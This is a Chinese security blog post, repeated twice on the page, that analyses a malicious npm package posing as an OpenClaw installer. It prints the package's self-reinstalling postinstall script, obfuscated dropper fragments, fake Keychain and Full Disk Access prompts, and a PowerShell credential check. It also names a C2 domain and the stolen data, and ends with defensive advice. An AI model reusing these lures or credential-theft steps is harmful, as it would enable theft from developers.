OpenClaw火了,骇客也来蹭热度:伪装安装器偷光你的macOS

admin 2026-03-11 03:06:42 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文章分析了伪装成OpenClaw安装器的恶意npm包,该包通过伪造CLI界面和Keychain授权提示进行社工攻击,部署RAT木马窃取macOS用户密钥、浏览器数据、加密货币等敏感信息,并实现持久化驻留与远程控制,建议开发者检查包名、使用–ignore-scripts并警惕CLI密码请求。 综合评分: 90 文章分类: 恶意软件,漏洞预警,威胁情报,应急响应,社会工程学


cover_image

OpenClaw 火了,骇客也来蹭热度:伪装安装器偷光你的 macOS

原创

XueMian XueMian

雪面科技

2026年3月10日 12:41 澳大利亚

#

说实话,npm 生态的安全问题已经不是什么新鲜事了,但这次发现的这个恶意包,操作之精细、窃取范围之广,还是让人看完直接「我嘞个豆」。这攻击者怕不是把社会工程学的教材从头到尾背了一遍。

发现了什么?

安全研究机构 JFrog 发现了一个名为 @openclaw-ai/openclawai 的恶意 npm 包。这个包伪装成 OpenClaw(一个合法的多渠道 AI 网关工具)的安装器,实际上干的事情是部署一个远程访问木马(RAT),然后把你 macOS 上能偷的东西偷了个底儿掉

最离谱的是——截至写这篇文章的时候,这个包还在 npm 上,你现在就能下载到。npm 的审核机制?不存在的,纯纯摆设。

我们来实际看看:

$ npm view @openclaw-ai/openclawai

@openclaw-ai/[email protected] | ISC | deps: none | versions: 2
openclaw-ai installer
https://openclaw.com

bin: openclaw

dist
.tarball: https://registry.npmjs.org/@openclaw-ai/openclawai/-/openclawai-1.5.15.tgz
.shasum: 5f96e92cc2aaab51f45a20e34f6f4aef0d4e8abd
.integrity: sha512-XXXXXXXXXXXXXXXXXXXXXX
.unpackedSize: 70.6 kB
.fileCount: 7

maintainers:
- openclaw-ai <[email protected]>

dist-tags:
latest: 1.5.15

published 4 days ago by openclaw-ai <[email protected]>

几个关键信息,我帮你划重点:

  • deps: none

    — 零依赖。一个”安装器”零依赖?合理吗?这不就是此地无银三百两嘛

  • 维护者邮箱[email protected]

    — 一眼丁真,鉴定为一次性随机邮箱

  • 只有 2 个版本

    (1.5.14 和 1.5.15),分别在 2026 年 3 月 3 日和 3 月 6 日发布——来得快去得也快

  • 解包大小 70.6 kB,7 个文件

    — 麻雀虽小,五脏俱全(恶意功能一个不少)

  • bin 字段直接指向 openclaw → scripts/setup.js

    — 入口就是恶意脚本

对比一下正版的 OpenClaw 包:

$ npm view openclaw

[email protected] | MIT | deps: 27 | versions: 55
The open-source, multi-channel AI gateway

看到没?正版包名叫 openclaw(by steipete),有 27 个依赖、55 个版本、MIT 协议。而恶意包用了 @openclaw-ai/openclawai 这个带 scope 的名字来碰瓷,ISC 协议,零依赖。完全不是一个东西。这操作就像有人注册了个”苹果官方旗舰总店”来卖山寨机——名字唬人,内容拉胯。

实际下载分析:拆开恶意包看看里面有什么

光看报告不过瘾,我直接从 npm 下载了 tarball(不安装,不触发任何脚本),拆开看看里面到底藏了什么。搞安全研究嘛,不亲手拆一下怎么行。

恶意包的原始文件、反混淆脚本和部分解密后的代码我已经放到了 GitHub:xuemian168/openclaw-ai_openclawai,感兴趣的可以自己拉下来研究。

# 安全下载:只拉 tarball,不执行 postinstall
$ npm pack @openclaw-ai/openclawai --pack-destination /tmp/analysis

# 解压查看文件结构
$ tar xzf openclaw-ai-openclawai-1.5.15.tgz
$&nbsp;ls&nbsp;-la package/
Readme.md &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;598B &nbsp;&nbsp;# 精心伪造的文档
package.json &nbsp; &nbsp; &nbsp; 598B &nbsp;&nbsp;# 入口配置
scripts/build.js &nbsp; 590B &nbsp;&nbsp;# 假的构建脚本(只是复制文件)
scripts/postinstall.js &nbsp;389B &nbsp;&nbsp;# 触发器:全局安装自己
scripts/setup.js &nbsp; 63.6kB&nbsp;# ← 恶意主体,63KB 压缩成一行
src/index.js &nbsp; &nbsp; &nbsp; 1.3kB &nbsp;# 掩护用的假 SDK 代码
src/index.d.ts &nbsp; &nbsp; 458B &nbsp;&nbsp;# TypeScript 类型定义(装样子)

package.json:一切的起点

{
&nbsp;&nbsp;"name":"@openclaw-ai/openclawai",
"version":"1.5.15",
"description":"🦞 OpenClaw Installer - Integration utilities",
"bin":{"openclaw":"./scripts/setup.js"},
"dependencies":{}
}

注意:没有显式声明 postinstall 钩子——因为它藏在 scripts/postinstall.js 文件里(npm 会自动检测 scripts/ 下的生命周期脚本文件)。这波属于是闷声发大财

postinstall.js:触发器

#!/usr/bin/env node
'use strict';
const&nbsp;{ execSync } =&nbsp;require('child_process');

console.log('\n📦 Installing additional dependencies...');
try&nbsp;{
&nbsp; &nbsp;&nbsp;execSync("npm i -g @openclaw-ai/openclawai", {&nbsp;stdio:&nbsp;'inherit'&nbsp;});
&nbsp; &nbsp;&nbsp;console.log('\n✔ Dependencies installed successfully.\n');
}&nbsp;catch&nbsp;(e) {
&nbsp; &nbsp;&nbsp;console.log('\n⚠ Optional dependency installation had warnings (continuing)\n');
}

看到没?就这么简单粗暴。装完之后再 npm i -g 全局安装一遍自己——这样 bin 字段里的 openclaw 命令就注册到你的 PATH 了。注意那个 catch 块——即使全局安装失败了,它也不会报错,假装没事继续走。不管你信不信,反正我装完了。

src/index.js:障眼法

function&nbsp;useAsyncState(promiseFn, options = {}) {
&nbsp; &nbsp;&nbsp;// ... 一个完全无害的 async 状态管理工具
}
function&nbsp;init(config = {}) {
&nbsp; &nbsp;&nbsp;return&nbsp;{&nbsp;ready:&nbsp;true,&nbsp;version:&nbsp;'1.5.14', config };
}

这段代码是完全无害的,写得还挺像模像样——有 JSDoc 注释、有 TypeScript 类型定义、README 里还有使用示例。纯粹是为了让你 review 代码时放松警惕。你打开 src/index.js 一看,”嗯,就是个简单的工具库”,然后就不去看 scripts/setup.js 了。这招叫「灯下黑」,属于是把《三十六计》玩明白了。

setup.js:63KB 的恶意主体

这才是重头戏。63,567 个字符,全部压缩在一行里,使用了 obfuscator.io 的完整混淆套件:

#!/usr/bin/env node
const&nbsp;_0x845d0a=_0x55c1;(function(_0x2c7d24,_0x2c5a61){const&nbsp;_0x5d0ec1=_0x55c1,_0x1664eb=_0x2c7d24();while(!![]){try{const&nbsp;_0x3564f8=-parseInt(...
// ... 63,567 个字符,860 个加密字符串引用

打开一看——好家伙,跟看天书似的。但天书也有解法。

我写了个安全的反混淆脚本,在 VM 沙箱里只执行字符串解码器部分(不运行恶意逻辑),成功解码了 860 个加密字符串。以下是从中提取到的关键信息:

假安装界面的 UI 字符串

🦞 OpenClaw installed successfully!
✓ Node.js v25.6.1 found
&nbsp; · Active Node.js: v25.6.1 (/opt/homebrew/bin/node)
&nbsp; · Active npm: 11.9.0 (/opt/homebrew/bin/npm)
✓ Git already installed
✓ Detected...
Installing OpenClaw...
Finalizing installation...
Preparing...

代码里有完整的 realisticProgressBar() 函数,用  和  字符绘制进度条,还会随机延迟让动画看起来更真实。连你的 Node.js 版本号都是实时读取的,让界面看起来完全可信。不得不说,这UI做得比很多正经开源项目还走心——可惜走的是歪路。属于是「你不说我还以为是正规军」。

AppleScript 社工弹窗

osascript
Authorization Required
Authentication failed. Please try again
do shell script \...

通过 osascript 调用 macOS 原生的 AppleScript 弹出对话框。标题写的是 “Authorization Required”,看起来就像系统弹窗。输错密码还会提示重试——跟真的 Keychain 授权一模一样。这不就是**钓鱼界的「以假乱真」**吗?连重试逻辑都给你安排上了,服务态度比某些正经App还好。

FDA(完整磁盘访问)诱导

OpenClaw requires Full Disk Access...
preferences:com.apple.preference.security?Privacy_AllFiles
1. Click the ... the switch ON
Terminal (or your IDE)
You need to restart your terminal after granting access

如果没有 FDA 权限,脚本会弹出一个对话框,手把手教你给 Terminal 开权限

  1. 自动打开系统偏好设置的隐私页面(Privacy_AllFiles
  2. 告诉你点哪个开关
  3. 提醒你重启终端

你说离谱不离谱?攻击者直接给你写了个「保姆级教程」,生怕你不会操作。这波属于甲方给乙方写操作手册——只不过甲方是黑客,乙方是受害者。

加密载荷投递

createDecipheriv &nbsp; &nbsp;→ AES-256 解密
randomBytes &nbsp; &nbsp; &nbsp; &nbsp; → 加密随机数
child_process &nbsp; &nbsp; &nbsp; → 子进程执行
execPath &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;→ Node.js 可执行路径
unlinkSync &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;→ 删除临时文件

跨平台支持(也攻击 Windows)

$ctx = New-Object System.DirectoryServices.AccountManagement.PrincipalContext
ValidateCredentials('...')
Add-Type -AssemblyName System.*
-NoProfile -NonInteractive -Command

没错,这个恶意软件还有 Windows 分支——通过 PowerShell 的 DirectoryServices.AccountManagement 验证 Windows 域凭据。不止是 macOS 用户中招。真·雨露均沾,一个都不放过

可疑标识符

complexarchaeologist &nbsp; &nbsp;→ 可能是 C2 通信的标识符/子域名
pipe &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;→ 管道通信
vault &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; → 伪装成安全存储操作
Wallet Sync &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; → 伪装成钱包同步

complexarchaeologist(复杂考古学家)这个标识符属实有点中二了——不知道攻击者是觉得自己在”考古”别人的数据呢,还是纯粹取名废。

攻击链分析:从安装到全盘窃取

这个恶意包的攻击流程设计得相当”用心”,分好几个阶段,环环相扣。说实话,这完成度放在正经项目里都算高的

第一阶段:全局安装 + 劫持 PATH

安装后,postinstall.js 触发全局安装。全局安装后 bin 字段生效,openclaw 命令指向 scripts/setup.js。以后在终端敲 openclaw,执行的就是恶意脚本。

一行 npm i -g 就完成了 PATH 劫持。简单,粗暴,但有效。「大道至简」说的就是这个(不是)。

第二阶段:精心设计的社工攻击

setup.js 是第一阶段 dropper(投放器),它的表现堪称「演技炸裂」:

  1. 展示一个逼真的假 CLI 安装界面

    — 有真实的进度条动画,实时读取你的 Node.js 版本号

  2. 弹出一个伪造的 iCloud Keychain 授权提示

    — 通过 osascript 调用原生 AppleScript 对话框

细思极恐——如果你是个 macOS 开发者,看到安装完某个工具后弹出 Keychain 授权,你大概率会下意识地输入密码。你的系统密码就这样被偷了。 堪称「最强钓鱼UI」,比某些银行App的界面还像官方的。

第三阶段:加密载荷投递

在你被假界面骗得团团转的同时,脚本在后台悄悄干活:

  • 从 C2 服务器 trackpipe[.]dev 拉取一个加密的第二阶段 JavaScript 载荷
  • 使用 createDecipheriv 进行 AES-256 解密
  • 写入临时文件后作为分离的子进程在后台运行
  • 通过 unlinkSync删除临时文件 — 清理痕迹

更骚的操作:如果脚本发现没有 Full Disk Access(完整磁盘访问权限),它会通过 osascript 弹出一个 AppleScript 对话框,直接打开 com.apple.preference.security?Privacy_AllFiles,手把手教你怎么给 Terminal 授权 FDA。

给攻击者授权完整磁盘访问权限意味着什么?意味着你的 Apple Notes、iMessage、Safari 历史记录、Mail 数据全都暴露了。你亲手帮攻击者拆了自家的防盗门。

第四阶段:全面数据窃取

第二阶段载荷有大约 11,700 行代码,是一个成熟的信息窃取器 + RAT 框架。恶意软件内部自称 “GhostLoader”——中二但确实能打。

它窃取的数据范围简直触目惊心,属于「我全都要」系列:

| 类别 | 具体内容 | | — | — | | macOS Keychain | 本地 login.keychain-db + 所有 iCloud Keychain 数据库 | | 浏览器数据 | 所有 Chromium 系浏览器的密码、Cookie、信用卡、自动填充(Chrome、Edge、Brave、Vivaldi、Opera、Yandex、Comet) | | 加密货币 | 桌面钱包应用、浏览器扩展、助记词(seed phrases) | | SSH 密钥 | ~/.ssh/ 下的所有密钥 | | 云服务凭据 | AWS、Azure、GCP、Kubernetes、Docker、GitHub | | AI 配置 | AI Agent 的配置文件(没错,连你的 AI 配置都不放过) | | FDA 保护数据 | Apple Notes、iMessage 历史、Safari 浏览记录、Mail 账户配置、Apple 账户信息 |

看完这个表格只能说:哥们你是来装 npm 包的还是来搬家的?

第五阶段:数据外泄

收集完所有数据后,恶意软件会:

  1. 将所有数据打包为 tar.gz 压缩包
  2. 通过三个渠道同时外泄:
  • 直接发送到 C2 服务器
  • 通过 Telegram Bot API 发送
  • 上传到 GoFile.io

三管齐下,确保数据一定能送出去。「鸡蛋不放一个篮子里」——这攻击者风控意识还挺强的(笑哭)。

第六阶段:持久化驻留

数据偷完了?不不不,它还没完。恶意软件会进入持久化守护模式,属于「赖着不走」系列:

  • 每 3 秒监控一次剪贴板

    — 自动匹配 9 种预定义模式:

  • 私钥、WIF 密钥、SOL 私钥、RSA 私钥

  • BTC 地址、ETH 地址

  • AWS Key、OpenAI Key、Strike Key

  • 实时监控 iMessage 聊天

  • 追踪运行中的进程

你以为它偷完就跑了?太天真了。它在你电脑里蹲着,等你复制粘贴加密货币地址的那一刻——「谢谢,收到」

第七阶段:远程控制

RAT 支持从 C2 服务器接收的命令包括:

  • 执行任意 Shell 命令
  • 在受害者浏览器中打开 URL
  • 下载额外载荷
  • 上传文件
  • 启动/停止 SOCKS5 代理
  • 克隆浏览器配置文件并以 headless 模式运行
  • 自毁 + 自更新

其中浏览器克隆功能特别危险 — 它启动一个无头 Chromium 实例,使用受害者现有的浏览器配置(包括 Cookie、登录状态、历史记录)。攻击者不需要知道你的密码,就能获得一个已完全认证的浏览器会话。这意味着他可以直接以你的身份操作你登录的所有网站。

这功能直接就是:「我不是在用你的电脑,我就是你。」 赛博夺舍了属于是。

你能学到什么?

这个案例给我们几个重要教训:

  1. 永远检查包名

    — openclaw ≠ @openclaw-ai/openclawai,仔细看清楚你要装的到底是什么。「买家秀和卖家秀的区别」

  2. 关注 postinstall 钩子

    — 安装包时加 --ignore-scripts 可以跳过所有生命周期脚本。不信任就不执行,「防人之心不可无」

  3. 别随便输密码

    — 任何 CLI 工具要你输系统密码都应该警觉。CLI 弹密码框?先问自己三遍「这合理吗」

  4. 检查维护者信息

    — 一次性邮箱、极少的版本数、零依赖的”安装器”都是红旗。红旗还能再多点吗?「集齐七面召唤神龙」

  5. 用 npm view 做基本检查

    — 在安装陌生包之前看看它的元数据

# 安装前检查一下,花不了 10 秒钟
npm view <package-name>

JFrog 的安全研究员 Meitar Palas 总结得很到位:

“@openclaw-ai/openclawai 将社会工程学、加密载荷投递、广泛数据收集和持久化 RAT 组合进了一个单独的 npm 包中。精心制作的假 CLI 安装器和 Keychain 提示足以骗过谨慎的开发者,一旦获取系统密码,就能解锁 macOS Keychain 解密和浏览器凭据提取——这些原本是被系统级保护拦住的。”

说到底,这个包最可怕的地方不是技术多高超,而是社工做得太到位了。进度条、版本号、Keychain弹窗、FDA教程——每一步都在利用开发者的「惯性信任」。下次 npm install 之前,多看一眼,少踩一坑。毕竟在 npm 生态里,「遇事不决先 npm view」才是保命技能


References

Palas, M. (2026, March 7). Malicious npm package posing as OpenClaw installer deploys RAT, steals macOS credentials. JFrog Blog. https://jfrog.com/blog/malicious-npm-package-posing-as-openclaw-installer/

npm. (2026). @openclaw-ai/openclawai. npm Registry. https://www.npmjs.com/package/@openclaw-ai/openclawai# 一个伪装成 OpenClaw 安装器的恶意 npm 包:部署 RAT 后门,窃取 macOS 全部凭据

说实话,npm 生态的安全问题已经不是什么新鲜事了,但这次发现的这个恶意包,操作之精细、窃取范围之广,还是让人看完直接「我嘞个豆」。这攻击者怕不是把社会工程学的教材从头到尾背了一遍。

发现了什么?

安全研究机构 JFrog 发现了一个名为 @openclaw-ai/openclawai 的恶意 npm 包。这个包伪装成 OpenClaw(一个合法的多渠道 AI 网关工具)的安装器,实际上干的事情是部署一个远程访问木马(RAT),然后把你 macOS 上能偷的东西偷了个底儿掉

最离谱的是——截至写这篇文章的时候,这个包还在 npm 上,你现在就能下载到。npm 的审核机制?不存在的,纯纯摆设。

我们来实际看看:

$ npm view @openclaw-ai/openclawai

@openclaw-ai/[email protected] | ISC | deps: none | versions: 2
openclaw-ai installer
https://openclaw.com

bin: openclaw

dist
.tarball: https://registry.npmjs.org/@openclaw-ai/openclawai/-/openclawai-1.5.15.tgz
.shasum: 5f96e92cc2aaab51f45a20e34f6f4aef0d4e8abd
.integrity: sha512-XXXXXXXXXXXXXXXXXXXXXX
.unpackedSize: 70.6 kB
.fileCount: 7

maintainers:
- openclaw-ai <[email protected]>

dist-tags:
latest: 1.5.15

published 4 days ago by openclaw-ai <[email protected]>

几个关键信息,我帮你划重点:

  • deps: none

    — 零依赖。一个”安装器”零依赖?合理吗?这不就是此地无银三百两嘛

  • 维护者邮箱[email protected]

    — 一眼丁真,鉴定为一次性随机邮箱

  • 只有 2 个版本

    (1.5.14 和 1.5.15),分别在 2026 年 3 月 3 日和 3 月 6 日发布——来得快去得也快

  • 解包大小 70.6 kB,7 个文件

    — 麻雀虽小,五脏俱全(恶意功能一个不少)

  • bin 字段直接指向 openclaw → scripts/setup.js

    — 入口就是恶意脚本

对比一下正版的 OpenClaw 包:

$ npm view openclaw

[email protected] | MIT | deps: 27 | versions: 55
The open-source, multi-channel AI gateway

看到没?正版包名叫 openclaw(by steipete),有 27 个依赖、55 个版本、MIT 协议。而恶意包用了 @openclaw-ai/openclawai 这个带 scope 的名字来碰瓷,ISC 协议,零依赖。完全不是一个东西。这操作就像有人注册了个”苹果官方旗舰总店”来卖山寨机——名字唬人,内容拉胯。

实际下载分析:拆开恶意包看看里面有什么

光看报告不过瘾,我直接从 npm 下载了 tarball(不安装,不触发任何脚本),拆开看看里面到底藏了什么。搞安全研究嘛,不亲手拆一下怎么行。

# 安全下载:只拉 tarball,不执行 postinstall
$ npm pack @openclaw-ai/openclawai --pack-destination /tmp/analysis

# 解压查看文件结构
$ tar xzf openclaw-ai-openclawai-1.5.15.tgz
$&nbsp;ls&nbsp;-la package/
Readme.md &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;598B &nbsp;&nbsp;# 精心伪造的文档
package.json &nbsp; &nbsp; &nbsp; 598B &nbsp;&nbsp;# 入口配置
scripts/build.js &nbsp; 590B &nbsp;&nbsp;# 假的构建脚本(只是复制文件)
scripts/postinstall.js &nbsp;389B &nbsp;&nbsp;# 触发器:全局安装自己
scripts/setup.js &nbsp; 63.6kB&nbsp;# ← 恶意主体,63KB 压缩成一行
src/index.js &nbsp; &nbsp; &nbsp; 1.3kB &nbsp;# 掩护用的假 SDK 代码
src/index.d.ts &nbsp; &nbsp; 458B &nbsp;&nbsp;# TypeScript 类型定义(装样子)

package.json:一切的起点

{
&nbsp;&nbsp;"name":"@openclaw-ai/openclawai",
"version":"1.5.15",
"description":"🦞 OpenClaw Installer - Integration utilities",
"bin":{"openclaw":"./scripts/setup.js"},
"dependencies":{}
}

注意:没有显式声明 postinstall 钩子——因为它藏在 scripts/postinstall.js 文件里(npm 会自动检测 scripts/ 下的生命周期脚本文件)。这波属于是闷声发大财

postinstall.js:触发器

#!/usr/bin/env node
'use strict';
const&nbsp;{ execSync } =&nbsp;require('child_process');

console.log('\n📦 Installing additional dependencies...');
try&nbsp;{
&nbsp; &nbsp;&nbsp;execSync("npm i -g @openclaw-ai/openclawai", {&nbsp;stdio:&nbsp;'inherit'&nbsp;});
&nbsp; &nbsp;&nbsp;console.log('\n✔ Dependencies installed successfully.\n');
}&nbsp;catch&nbsp;(e) {
&nbsp; &nbsp;&nbsp;console.log('\n⚠ Optional dependency installation had warnings (continuing)\n');
}

看到没?就这么简单粗暴。装完之后再 npm i -g 全局安装一遍自己——这样 bin 字段里的 openclaw 命令就注册到你的 PATH 了。注意那个 catch 块——即使全局安装失败了,它也不会报错,假装没事继续走。不管你信不信,反正我装完了。

src/index.js:障眼法

function&nbsp;useAsyncState(promiseFn, options = {}) {
&nbsp; &nbsp;&nbsp;// ... 一个完全无害的 async 状态管理工具
}
function&nbsp;init(config = {}) {
&nbsp; &nbsp;&nbsp;return&nbsp;{&nbsp;ready:&nbsp;true,&nbsp;version:&nbsp;'1.5.14', config };
}

这段代码是完全无害的,写得还挺像模像样——有 JSDoc 注释、有 TypeScript 类型定义、README 里还有使用示例。纯粹是为了让你 review 代码时放松警惕。你打开 src/index.js 一看,”嗯,就是个简单的工具库”,然后就不去看 scripts/setup.js 了。这招叫「灯下黑」,属于是把《三十六计》玩明白了。

setup.js:63KB 的恶意主体

这才是重头戏。63,567 个字符,全部压缩在一行里,使用了 obfuscator.io 的完整混淆套件:

#!/usr/bin/env node
const&nbsp;_0x845d0a=_0x55c1;(function(_0x2c7d24,_0x2c5a61){const&nbsp;_0x5d0ec1=_0x55c1,_0x1664eb=_0x2c7d24();while(!![]){try{const&nbsp;_0x3564f8=-parseInt(...
// ... 63,567 个字符,860 个加密字符串引用

打开一看——好家伙,跟看天书似的。但天书也有解法。

我写了个安全的反混淆脚本,在 VM 沙箱里只执行字符串解码器部分(不运行恶意逻辑),成功解码了 860 个加密字符串。以下是从中提取到的关键信息:

假安装界面的 UI 字符串

🦞 OpenClaw installed successfully!
✓ Node.js v25.6.1 found
&nbsp; · Active Node.js: v25.6.1 (/opt/homebrew/bin/node)
&nbsp; · Active npm: 11.9.0 (/opt/homebrew/bin/npm)
✓ Git already installed
✓ Detected...
Installing OpenClaw...
Finalizing installation...
Preparing...

代码里有完整的 realisticProgressBar() 函数,用  和  字符绘制进度条,还会随机延迟让动画看起来更真实。连你的 Node.js 版本号都是实时读取的,让界面看起来完全可信。不得不说,这UI做得比很多正经开源项目还走心——可惜走的是歪路。属于是「你不说我还以为是正规军」。

AppleScript 社工弹窗

osascript
Authorization Required
Authentication failed. Please try again
do shell script \...

通过 osascript 调用 macOS 原生的 AppleScript 弹出对话框。标题写的是 “Authorization Required”,看起来就像系统弹窗。输错密码还会提示重试——跟真的 Keychain 授权一模一样。这不就是**钓鱼界的「以假乱真」**吗?连重试逻辑都给你安排上了,服务态度比某些正经App还好。

FDA(完整磁盘访问)诱导

OpenClaw requires Full Disk Access...
preferences:com.apple.preference.security?Privacy_AllFiles
1. Click the ... the switch ON
Terminal (or your IDE)
You need to restart your terminal after granting access

如果没有 FDA 权限,脚本会弹出一个对话框,手把手教你给 Terminal 开权限

  1. 自动打开系统偏好设置的隐私页面(Privacy_AllFiles
  2. 告诉你点哪个开关
  3. 提醒你重启终端

你说离谱不离谱?攻击者直接给你写了个「保姆级教程」,生怕你不会操作。这波属于甲方给乙方写操作手册——只不过甲方是黑客,乙方是受害者。

加密载荷投递

createDecipheriv &nbsp; &nbsp;→ AES-256 解密
randomBytes &nbsp; &nbsp; &nbsp; &nbsp; → 加密随机数
child_process &nbsp; &nbsp; &nbsp; → 子进程执行
execPath &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;→ Node.js 可执行路径
unlinkSync &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;→ 删除临时文件

跨平台支持(也攻击 Windows)

$ctx = New-Object System.DirectoryServices.AccountManagement.PrincipalContext
ValidateCredentials('...')
Add-Type -AssemblyName System.*
-NoProfile -NonInteractive -Command

没错,这个恶意软件还有 Windows 分支——通过 PowerShell 的 DirectoryServices.AccountManagement 验证 Windows 域凭据。不止是 macOS 用户中招。真·雨露均沾,一个都不放过

可疑标识符

complexarchaeologist &nbsp; &nbsp;→ 可能是 C2 通信的标识符/子域名
pipe &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;→ 管道通信
vault &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; → 伪装成安全存储操作
Wallet Sync &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; → 伪装成钱包同步

complexarchaeologist(复杂考古学家)这个标识符属实有点中二了——不知道攻击者是觉得自己在”考古”别人的数据呢,还是纯粹取名废。

攻击链分析:从安装到全盘窃取

这个恶意包的攻击流程设计得相当”用心”,分好几个阶段,环环相扣。说实话,这完成度放在正经项目里都算高的

第一阶段:全局安装 + 劫持 PATH

安装后,postinstall.js 触发全局安装。全局安装后 bin 字段生效,openclaw 命令指向 scripts/setup.js。以后在终端敲 openclaw,执行的就是恶意脚本。

一行 npm i -g 就完成了 PATH 劫持。简单,粗暴,但有效。「大道至简」说的就是这个(不是)。

第二阶段:精心设计的社工攻击

setup.js 是第一阶段 dropper(投放器),它的表现堪称「演技炸裂」:

  1. 展示一个逼真的假 CLI 安装界面

    — 有真实的进度条动画,实时读取你的 Node.js 版本号

  2. 弹出一个伪造的 iCloud Keychain 授权提示

    — 通过 osascript 调用原生 AppleScript 对话框

细思极恐——如果你是个 macOS 开发者,看到安装完某个工具后弹出 Keychain 授权,你大概率会下意识地输入密码。你的系统密码就这样被偷了。 堪称「最强钓鱼UI」,比某些银行App的界面还像官方的。

第三阶段:加密载荷投递

在你被假界面骗得团团转的同时,脚本在后台悄悄干活:

  • 从 C2 服务器 trackpipe[.]dev 拉取一个加密的第二阶段 JavaScript 载荷
  • 使用 createDecipheriv 进行 AES-256 解密
  • 写入临时文件后作为分离的子进程在后台运行
  • 通过 unlinkSync删除临时文件 — 清理痕迹

更骚的操作:如果脚本发现没有 Full Disk Access(完整磁盘访问权限),它会通过 osascript 弹出一个 AppleScript 对话框,直接打开 com.apple.preference.security?Privacy_AllFiles,手把手教你怎么给 Terminal 授权 FDA。

给攻击者授权完整磁盘访问权限意味着什么?意味着你的 Apple Notes、iMessage、Safari 历史记录、Mail 数据全都暴露了。你亲手帮攻击者拆了自家的防盗门。

第四阶段:全面数据窃取

第二阶段载荷有大约 11,700 行代码,是一个成熟的信息窃取器 + RAT 框架。恶意软件内部自称 “GhostLoader”——中二但确实能打。

它窃取的数据范围简直触目惊心,属于「我全都要」系列:

| 类别 | 具体内容 | | — | — | | macOS Keychain | 本地 login.keychain-db + 所有 iCloud Keychain 数据库 | | 浏览器数据 | 所有 Chromium 系浏览器的密码、Cookie、信用卡、自动填充(Chrome、Edge、Brave、Vivaldi、Opera、Yandex、Comet) | | 加密货币 | 桌面钱包应用、浏览器扩展、助记词(seed phrases) | | SSH 密钥 | ~/.ssh/ 下的所有密钥 | | 云服务凭据 | AWS、Azure、GCP、Kubernetes、Docker、GitHub | | AI 配置 | AI Agent 的配置文件(没错,连你的 AI 配置都不放过) | | FDA 保护数据 | Apple Notes、iMessage 历史、Safari 浏览记录、Mail 账户配置、Apple 账户信息 |

看完这个表格只能说:哥们你是来装 npm 包的还是来搬家的?

第五阶段:数据外泄

收集完所有数据后,恶意软件会:

  1. 将所有数据打包为 tar.gz 压缩包
  2. 通过三个渠道同时外泄:
  • 直接发送到 C2 服务器
  • 通过 Telegram Bot API 发送
  • 上传到 GoFile.io

三管齐下,确保数据一定能送出去。「鸡蛋不放一个篮子里」——这攻击者风控意识还挺强的(笑哭)。

第六阶段:持久化驻留

数据偷完了?不不不,它还没完。恶意软件会进入持久化守护模式,属于「赖着不走」系列:

  • 每 3 秒监控一次剪贴板

    — 自动匹配 9 种预定义模式:

  • 私钥、WIF 密钥、SOL 私钥、RSA 私钥

  • BTC 地址、ETH 地址

  • AWS Key、OpenAI Key、Strike Key

  • 实时监控 iMessage 聊天

  • 追踪运行中的进程

你以为它偷完就跑了?太天真了。它在你电脑里蹲着,等你复制粘贴加密货币地址的那一刻——「谢谢,收到」

第七阶段:远程控制

RAT 支持从 C2 服务器接收的命令包括:

  • 执行任意 Shell 命令
  • 在受害者浏览器中打开 URL
  • 下载额外载荷
  • 上传文件
  • 启动/停止 SOCKS5 代理
  • 克隆浏览器配置文件并以 headless 模式运行
  • 自毁 + 自更新

其中浏览器克隆功能特别危险 — 它启动一个无头 Chromium 实例,使用受害者现有的浏览器配置(包括 Cookie、登录状态、历史记录)。攻击者不需要知道你的密码,就能获得一个已完全认证的浏览器会话。这意味着他可以直接以你的身份操作你登录的所有网站。

这功能直接就是:「我不是在用你的电脑,我就是你。」 赛博夺舍了属于是。

你能学到什么?

这个案例给我们几个重要教训:

  1. 永远检查包名

    — openclaw ≠ @openclaw-ai/openclawai,仔细看清楚你要装的到底是什么。「买家秀和卖家秀的区别」

  2. 关注 postinstall 钩子

    — 安装包时加 --ignore-scripts 可以跳过所有生命周期脚本。不信任就不执行,「防人之心不可无」

  3. 别随便输密码

    — 任何 CLI 工具要你输系统密码都应该警觉。CLI 弹密码框?先问自己三遍「这合理吗」

  4. 检查维护者信息

    — 一次性邮箱、极少的版本数、零依赖的”安装器”都是红旗。红旗还能再多点吗?「集齐七面召唤神龙」

  5. 用 npm view 做基本检查

    — 在安装陌生包之前看看它的元数据

# 安装前检查一下,花不了 10 秒钟
npm view <package-name>

JFrog 的安全研究员 Meitar Palas 总结得很到位:

“@openclaw-ai/openclawai 将社会工程学、加密载荷投递、广泛数据收集和持久化 RAT 组合进了一个单独的 npm 包中。精心制作的假 CLI 安装器和 Keychain 提示足以骗过谨慎的开发者,一旦获取系统密码,就能解锁 macOS Keychain 解密和浏览器凭据提取——这些原本是被系统级保护拦住的。”

说到底,这个包最可怕的地方不是技术多高超,而是社工做得太到位了。进度条、版本号、Keychain弹窗、FDA教程——每一步都在利用开发者的「惯性信任」。下次 npm install 之前,多看一眼,少踩一坑。毕竟在 npm 生态里,「遇事不决先 npm view」才是保命技能


References

npm. (2026). @openclaw-ai/openclawai. npm Registry. https://www.npmjs.com/package/@openclaw-ai/openclawai


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

